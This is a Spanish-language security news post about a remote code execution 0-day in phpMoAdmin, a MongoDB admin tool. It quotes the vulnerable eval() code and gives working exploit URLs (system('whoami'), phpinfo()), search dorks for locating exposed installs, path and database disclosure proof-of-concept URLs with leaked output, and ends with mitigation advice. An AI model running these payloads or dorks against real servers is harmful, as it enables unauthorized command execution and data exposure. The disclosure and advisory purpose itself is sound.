Empiezan a explotar de forma masiva el reciente 0-day de phpMoAdmin (MongoDB GUI)

MongoDB, una de las principales plataformas NoSQL de la Web, es una alternativa popular a las bases de datos relacionales basadas ​​en tablas. Una de las herramientas visuales utilizadas para gestionar MongoDB, phpMoAdmin, tiene una vulnerabilidad grave que, si se explota, permite a un atacante ejecutar comandos en el servidor (RCE).

Escrito en PHP, phpMoAdmin es similar a phpMyAdmin, ya que provee una interfaz gráfica de usuario que los desarrolladores y los administradores pueden utilizar para diversas tareas de base de datos. Sin embargo, mientras que phpMyAdmin tiene una comunidad fuerte de desarrollo (dados sus vínculos con MySQL), phpMoAdmin no se ha actualizado en dos años.

Recientemente, un tal "sp1nlock" descubrió que había un fallo grave en el código phpMoAdmin. Como se ha mencionado, si este fallo se pudiera aprovechar, permitiría a un atacante ejecutar comandos en el servidor. El fallo se hizo público a principios de este mes y algunos administradores ya han comenzado a reportar intentos de explotación.

No está claro si los desarrolladores de phpMoAdmin son conscientes del problema. Sin embargo, ya se estaba vendiendo el exploit alrededor de una semana antes de que se desarrollara y publicara un módulo de Metasploit.


El fallo se centra en el uso de scripts que usan eval() en peticiones GET:

eval('$find = ' . $_GET['find'] . ';');

En esa parte, el fallo puede ser desencadenarse por la alteración de la variable $action:

http://localhost/phpmoadmin/moadmin.php?action=listRows&collection=0&find=array();system(%27whoami%27);exit;

El proyecto phpMoAdmin está inactivo y posiblemente abandonado. Sin embargo seguimos habiendo unos cuantos publicados en Internet:

inurl:moadmin.php?db=inurl:moadmin.php
inurl:wu-moadmin.php?db=


Path disclosure POC:
http://server.com/panel/phpmoadmin/moadmin.php?action=getStats
Code:
PHP Fatal error:  Uncaught exception 'MongoCursorException' with message 'Cannot natively represent the long 1070956937000 on this platform' in D:\server\panel\phpmoadmin\moadmin.php:389Stack trace:
#0 D:\server\panel\phpmoadmin\moadmin.php(389): MongoDB->command(Array)
#1 D:\server\panel\phpmoadmin\moadmin.php(825): moadminModel->getStats()
#2 D:\server\panel\phpmoadmin\moadmin.php(1977): moadminComponent->__construct()
#3 {main}
  thrown in D:\server\panel\phpmoadmin\moadmin.php on line 389


DB Disclosure POC:
http://oculto.com/moadmin.php?db=metadb&collection=meta_procedures_col&action=editObject&_id=C:7:%22MongoId%22:24:%7B5478e901aadb81d000003ccd%7D&idtype=objecthttp://server.com/moadmin.php?db=****&action=listRows&collection=mas_**coms
http://server.com/wu-moadmin/wu-moadmin.php?db=oddprices&
http://server.com/panel/phpmoadmin/moadmin.php?db=database&newdb=


Algunos ejemplos de resultados:

[_id] => server-1422172018576
[hostname] => server
[startTime] => MongoDate Object (
    [sec] => 1422172018
    [usec] => 0
)
[startTimeLocal] => Sun Jan 25 14:46:58.592
[cmdLine] => Array (
    [config] => C:\mongodb\bin\mongo.cfg
    [service] => 1
    [storage] => Array (
      [dbPath] => c:\mongodb\db
    )
    [systemLog] => Array (
      [destination] => file
      [path] => c:\mongodb\log\mongod.log
    )
)
[pid] => 1560
[buildinfo] => Array (
    [version] => 2.6.5
    [gitVersion] => e99d4fcb4279c0279796f237aa92fe3b64560bf6
    [targetMinOS] => Windows 7/Windows Server 2008 R2
    [OpenSSLVersion] =>
    [sysInfo] => windows sys.getwindowsversion(major=6, minor=1, build=7601, platform=2, service_pack='Service Pack 1')
BOOST_LIB_VERSION=1_49
    [loaderFlags] => /nologo /DEBUG /INCREMENTAL:NO /LARGEADDRESSAWARE
    [compilerFlags] => /TP /nologo /EHsc /W3 /wd4355 /wd4800 /wd4267 /wd4244 /wd4290 /we4099 /Z7 /errorReport:none /MT /O2 /Oy-
    [allocator] => system
    [versionArray] => Array (
      [0] => 2
      [1] => 6
      [2] => 5
      [3] => 0
    )
    [javascriptEngine] => V8
    [bits] => 64
    [debug] =>
    [maxBsonObjectSize] => 16777216
)

RCE POC:
#      __      ______      __
#      /\ \      /'\_/`\      /\  _  \    /\ \      __
# _____\ \ \___   _____ /\      \    ___\ \ \L\ \   \_\ \    ___ ___ /\_\    ___
#/\ '__`\ \  _ `\/\ '__`\ \ \__\ \  / __`\ \  __ \  /'_` \ /' __` __`\/\ \ /' _ `\
#\ \ \L\ \ \ \ \ \ \L\ \ \ \_/\ \/\ \L\ \ \ \/\ \/\ \L\ \/\ \/\ \/\ \ \ \/\ \/\ \
# \ \ ,__/\ \_\ \_\ \ ,__/\ \_\\ \_\ \____/\ \_\ \_\ \___,_\ \_\ \_\ \_\ \_\ \_\ \_\
#  \ \ \/  \/_/\/_/\ \ \/  \/_/ \/_/\/___/  \/_/\/_/\/__,_ /\/_/\/_/\/_/\/_/\/_/\/_/
#   \ \_\      \ \_\
#    \/_/      \/_/
#------
# Title  : PHPMoAdmin
# Home   : http://www.phpmoadmin.com
# Author : sn
# Credits: sp1nlock
# Type   : Remote Code Execution
#------
#
# File : moadmin.php
# Lines: 554 - 563

      if (isset($_GET['find']) && $_GET['find']) {
      $_GET['find'] = trim($_GET['find']);
      if (strpos($_GET['find'], 'array') === 0) {
      eval('$find = ' . $_GET['find'] . ';');
      } else if (is_string($_GET['find'])) {
      if ($findArr = json_decode($_GET['find'], true)) {
      $find = $findArr;
      }
      }
      }
#
# PoC
#

?find=array(phpinfo())

La única manera de estar "a salvo" es restringir el acceso a phpMoAdmin o cambiarlo por herramienta GUI como RockMongo, MongoVUE, Mongo-Express o UMongo.

Fuentes:
- MongoDB phpMoAdmin GUI Tool Zero-day Vulnerability Puts Websites at Risk
- MongoDB tool vulnerable to remote code execution flaw
- Zero-Day Vulnerability Found in MongoDB Administration Tool phpMoAdmin

Comentarios